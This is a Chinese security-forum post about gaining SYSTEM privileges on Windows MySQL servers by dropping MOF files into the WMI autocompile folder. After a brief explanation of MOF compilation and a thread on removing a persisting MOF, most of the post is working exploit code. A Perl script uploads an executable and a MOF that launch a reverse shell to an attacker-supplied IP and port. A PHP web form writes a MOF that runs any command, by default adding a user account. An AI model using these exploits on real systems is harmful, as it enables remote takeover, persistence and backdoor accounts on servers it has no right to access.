Mysql结合mof权限提升(Windows)

2012-12-21 22:38:08 78 6362 1


漏洞正是工业级病毒Stuxnet所用的0day之一
windows写权限变成可执行权限的利用喜)
xsser
Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:
方法 1: 运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。
Method2: 使用 IMofCompiler 接口和 $ CompileFile 方法。
方法 3: 拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。
Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。

第三种方法仅为向后兼容性与早期版本的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。

很多测试的时候会用得到吧,另外感觉应该有其他很多地方得机制可以导致自动启动?


鬼哥  :
@xsser 我现在只想知道怎么停止已执行的mof,昨天测试的时候放了个.mof到C:\WINDOWS\system32\wbem\mof\ 从昨天晚上一直到现在还在每过5秒就执行次 加个用户,搞的我郁闷死了。。。

昨天听 B1n4ry 说把net stop winmgmt 服务停止后,然后在删除了加进去的.mof OK 没继续执行了,,但是我怕服务器出现问题又把winmgmt 服务启动了, 邪恶 又开始5秒后自动加用户!

咋办。。

whking  
@鬼哥 删除C:\WINDOWS\system32\wbem\mof\good 添加的mof后,在启动winmgmt 没出现加账户啊!
C:\Documents and Settings\Administrator>net stop winmgmt
Windows Management Instrumentation 服务正在停止.
Windows Management Instrumentation 服务已成功停止。
C:\Documents and Settings\Administrator>net start winmgmt
Windows Management Instrumentation 服务正在启动 .
Windows Management Instrumentation 服务已经启动成功。

鬼哥  
@xsser 我错了,,,正确的方式是:
第一 net stop winmgmt 停止服务,
第二 删除文件夹:C:\WINDOWS\system32\wbem\Repository\
第三 net start winmgmt 启动服务

第四:完毕不会在执行了。C:\WINDOWS\system32\wbem\Repository\ 放的是储存库 我们执行的.mof都会被加入到这个库了。然后一直按脚本设置的时间执行。。 删除后 重新启动 会重建个默认储存库 这样我们先前执行mof就没了



perl利用代码
# MySQL on Windows Remote Exploit
# Leverages file privileges to obtain a SYSTEM shell
# tested o windows server 2003
# Will retrieve the equivalent of:
#C:\Users\kingcope\Downloads\nc11nt>nc -v -l -p 5555
#listening on [any] 5555 ...
#connect to [192.168.2.150] from isowarez [192.168.2.150] 60357
#Microsoft Windows [Version 5.2.3790]
#(C) Copyright 1985-2003 Microsoft Corp.
#
#C:\WINDOWS\system32>whoami
#whoami
#nt authority\system
#
#C:\WINDOWS\system32>
#
use DBI();
use Encode;
$|=1;

if ($#ARGV != 4) {
print "MySQL on Windows Remote Exploit (requires user with 'file' privs)\n";
print "Usage: perl mysql_win_remote.pl <target> <user> <password> <yourip> <yourport>\n";
print "Example: perl mysql_win_remote.pl 192.168.2.100 root \"\" 192.168.2.150 5555\n";
exit;
}

$database = "mysql";
$host = $ARGV[0];
$user = $ARGV[1];
$password = $ARGV[2];
$ip = $ARGV[3];
$port = $ARGV[4];

$payload = "#pragma namespace(\"\\\\\\\\.\\\\root\\\\subscription\")

instance of __EventFilter as \$EventFilter
{
    EventNamespace = \"Root\\\\Cimv2\";
    Name  = \"filtP2\";
    Query = \"Select * From __InstanceModificationEvent \"
            \"Where TargetInstance Isa \\\"Win32_LocalTime\\\" \"
            \"And TargetInstance.Second = 5\";
    QueryLanguage = \"WQL\";
};

instance of ActiveScriptEventConsumer as \$Consumer
{
    Name = \"consPCSV2\";
    ScriptingEngine = \"JScript\";
    ScriptText =
    \"var WSH = new ActiveXObject(\\\"WScript.Shell\\\")\\nWSH.run(\\\"event.exe $ip $port\\\")\";
};

instance of __FilterToConsumerBinding
{
    Consumer   = \$Consumer;
    Filter = \$EventFilter;
};";

my $dbh = DBI->connect("DBI:mysql:database=$database;host=$host;",
                     $user, $password,
                     {'RaiseError' => 0});

sub createblobs {
$tablename = shift;
$file = shift;
eval { $dbh->do("DROP TABLE $tablename") };
print "Dropping $tablename failed: $@\n" if $@;

$dbh->do("CREATE TABLE $tablename (data LONGBLOB)");

open FILE, "<$file";
$size = -s $file;
binmode FILE;
$len = read(FILE, $data, $size);
print $len."\n";
close FILE;

my $sql = "INSERT INTO $tablename VALUES (?)";

my $sth = $dbh->prepare($sql) or do {
    die "It didn't work. [$DBI::errstr]\n";
};
$sth->bind_param(1, $data);
$sth->execute or do {
    die "It didn't work. [$DBI::errstr]\n";
};
$sth->finish();
}

my $sth = $dbh->prepare("SELECT \@\@version_compile_os;");
$sth->execute();

while (my @row = $sth->fetchrow_array()) {
print "MySQL Version: $row[0]\n";
}
if (!$row[0] =~ /win/i) {
        print "\nThis is not a Windows MySQLD!\n";
        exit;
}
print "W00TW00T!\n";

createblobs("table1", "event.exe");

open FILE, ">nullevt.mof";
print FILE $payload;
close FILE;

createblobs("table2", "nullevt.mof");

$dbh->do("SELECT data FROM table1 INTO DUMPFILE 'c:/windows/system32/event.exe'");
$dbh->do("SELECT data FROM table2 INTO DUMPFILE 'c:/windows/system32/wbem/mof/nullevt.mof'");

$dbh->disconnect();

print "done.";
这个脚本只能针对开启远程连接的账户,只能远程利用
laterain2给出了Php版 本地的EXP
https://www.t00ls.com/viewthread.php?tid=21268&page=1&extra=#pid326360
<html>
<head><title>Win MOF Shell</title></head>
<body>
<form action="" method="post">
Host:
<input type="text" name="host" value="127.0.0.1:3306">
User:
<input type="text" name="user" value="root">
Pass:
<input type="password" name="pass" value="">
DBname:
<input type="text" name="dbname" value="mysql">
Cmd:
<input type="text" name="cmd" value="net user test test /add" size="35">
MofPath:
<input type="text" name="mofname" value="c:/windows/system32/wbem/mof/hacking.mof" size="35">
<input type="submit" value="Exploit">
</form>
</body>
</html>
<?php
if(isset($_REQUEST['host'])&&isset($_REQUEST['user'])&&isset($_REQUEST['dbname'])&&isset($_REQUEST['cmd'])&&isset($_REQUEST['mofname']))
{
        $mysql_server_name=$_REQUEST['host'];
        $mysql_username=$_REQUEST['user'];
        if(isset($_REQUEST['pass']))
        {
                $mysql_password=$_REQUEST['pass'];
        }
        else
        {
                $mysql_password='';
        }
        $mysql_database=$_REQUEST['host'];
        $cmdshell=$_REQUEST['cmd'];
        $mofname=$_REQUEST['mofname'];
}
else
{
        echo "Form Input not enough";
        exit;
}
$conn=mysql_connect($mysql_server_name,$mysql_username,$mysql_password,$mysql_database);

$payload = "#pragma namespace(\"\\\\\\\\\\\\\\\\.\\\\\\\\root\\\\\\\\subscription\")

instance of __EventFilter as \$EventFilter
{
        EventNamespace = \"Root\\\\\\\\Cimv2\";
        Name  = \"filtP2\";
        Query = \"Select * From __InstanceModificationEvent \"
                        \"Where TargetInstance Isa \\\\\"Win32_LocalTime\\\\\" \"
                        \"And TargetInstance.Second = 5\";
        QueryLanguage = \"WQL\";
};

instance of ActiveScriptEventConsumer as \$Consumer
{
        Name = \"consPCSV2\";
        ScriptingEngine = \"JScript\";
        ScriptText =
        \"var WSH = new ActiveXObject(\\\\\"WScript.Shell\\\\\")\\\\nWSH.run(\\\\\"$cmdshell\\\\\")\";
};

instance of __FilterToConsumerBinding
{
        Consumer = \$Consumer;
        Filter = \$EventFilter;
};";

mysql_select_db($mysql_database,$conn);
$sql="select '$payload' into dumpfile '$mofname';";
if(mysql_query($sql))
{
        echo "Exploit Success!!!";
}
mysql_close($conn);
?>
参考:
http://support.microsoft.com/kb/245773/zh-cn
http://www.exploit-db.com/exploits/23083/
http://msdn.microsoft.com/ZH-CN/library/windows/desktop/aa394171(v=vs.85).aspx

关于作者

Cond0r136篇文章1277篇回复

评论78次

要评论?请先  登录  或  注册